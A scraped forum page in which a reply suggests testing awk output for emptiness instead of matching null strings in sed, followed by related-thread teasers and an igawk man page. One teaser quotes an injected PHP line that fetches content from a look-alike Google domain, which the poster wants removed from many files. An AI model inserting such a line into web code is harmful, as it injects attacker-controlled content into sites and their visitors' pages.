Login or Register to Ask a Question and Join Our Community

Sponsored Content
Full Discussion: null string matching in sed?
Top Forums Shell Programming and Scripting null string matching in sed? Post 302200737 by mschwage on Friday 30th of May 2008 01:14:01 AM
Old 05-30-2008
Why not drop sed altogether, and just set a variable to your awk output? Then if it's 0-length, you're done.... here's some pseudo-code:

Code:
while read field field2 ; do
testvar=`awk '{script hidden for brevity}'`
[ -z "$testvar" ] && {
    echo "I'm done."
    exit 0
}
done < file

 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

SED: Matching a string with whitespace?

I am trying to search through a text file and replace the number 1 at the beginning of the string in the second field with the number 9. There maybe one or more occurrences of whitespace between the string GPA131 and 17049333610. Does anyone know how to do this with sed? GPA131 17049333610 ... (1 Reply)
Discussion started by: cstovall
1 Replies

2. Shell Programming and Scripting

sed problem - replacement string should be same length as matching string.

Hi guys, I hope you can help me with my problem. I have a text file that contains lines like this: 78 ANGELO -809.05 79 ANGELO2 -5,000.06 I need to find all occurences of amounts that are negative and replace them with x's 78 ANGELO xxxxxxx 79... (4 Replies)
Discussion started by: amangeles
4 Replies

3. Shell Programming and Scripting

check for not null string in file

Hi, If, in a text file a string is expected at a certain fixed position(for eg at position 5 or from 5-10 on every line) how to check whether data is present on that position or not? Thnx in advance (6 Replies)
Discussion started by: misenkiser
6 Replies

4. Shell Programming and Scripting

How to check for null or empty string

Hi, I need to check for value not equal (<>) to 21 and not equal empty or null values. Please modify this script if then echo "$VALUE,$BSC_NAME,$BSC_ID" > $OUT_FILE/power_up.out end if TQ (5 Replies)
Discussion started by: doer
5 Replies

5. Shell Programming and Scripting

replace a complex string with null

Hello, I need a script or one liner possible in perl or awk ( as sed shows error ) I want to replace <?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?> with blank or null 1) in a file 2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies

6. Shell Programming and Scripting

REGEX: Matching Null?

I'm using the URL Regex feature of Squid for allowing sites via a list of regex strings to match allowed domains. The regex was actually copied from our previous proxy solution and it seemed to "just work". But, we've recently discovered that some domains (likely due to virtual hosts or host... (2 Replies)
Discussion started by: deckard
2 Replies

7. Shell Programming and Scripting

replace some string by null??

I have a string like In this string I want to delete both "." and ":", means I want the output as: How can I do that using "tr" or any other such command? (6 Replies)
Discussion started by: ash.g
6 Replies

8. Shell Programming and Scripting

Help with sed matching <tag1> newline spaces <tag2> and replace the value in the same string format

Hi, I'm very new to shell scripting and have searched google and this forum for quite some time now. I have the following in my xml file: <recipients> <member>value1</member> </recipients> I need to find a string <recipients> that follows with a new-line and bunch of spaces and... (5 Replies)
Discussion started by: mgharios
5 Replies

9. Shell Programming and Scripting

Insert string 'NULL' where there is a null value

I have an input file having 7 fields delimited by , eg : 1,ABC,hg,1,2,34,3 2,hj,YU,2,3,4, 3,JU,kl,4,5,7, 4,JK,KJ,3,56,4,5 The seventh field here in some lines is empty, whereas the other lines there is a value. How do I insert string NULL at this location (7th loc) for these lines where... (8 Replies)
Discussion started by: zilch
8 Replies

10. Shell Programming and Scripting

How to list Matching Directories OR NULL w/o error message?

I want to be able to get all the directories in a path into a variable array, BUT if there ARE NO directories I want the Variable to be NULL and not echo any error message! If there ARE directories, this will get the list of the directories whose name begins with the string "20":... (6 Replies)
Discussion started by: pgorbas
6 Replies

LEARN ABOUT DEBIAN

igawk

IGAWK(1)							 Utility Commands							  IGAWK(1)

NAME

       igawk - gawk with include files

SYNOPSIS

       igawk [ all gawk options ] -f program-file [ -- ] file ...
       igawk [ all gawk options ] [ -- ] program-text file ...

DESCRIPTION

       Igawk is a simple shell script that adds the ability to have ``include files'' to gawk(1).

       AWK programs for igawk are the same as for gawk, except that, in addition, you may have lines like

	      @include getopt.awk

       in your program to include the file getopt.awk from either the current directory or one of the other directories in the search path.

OPTIONS

       See gawk(1) for a full description of the AWK language and the options that gawk supports.

EXAMPLES

       cat << EOF > test.awk
       @include getopt.awk

       BEGIN {
	    while (getopt(ARGC, ARGV, "am:q") != -1)
		 ...
       }
       EOF

       igawk -f test.awk

SEE ALSO

       gawk(1)

       Effective AWK Programming, Edition 1.0, published by the Free Software Foundation, 1995.

AUTHOR

       Arnold Robbins (arnold@skeeve.com).

Free Software Foundation					    Nov 3 1999								  IGAWK(1)
All times are GMT -4. The time now is 06:33 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy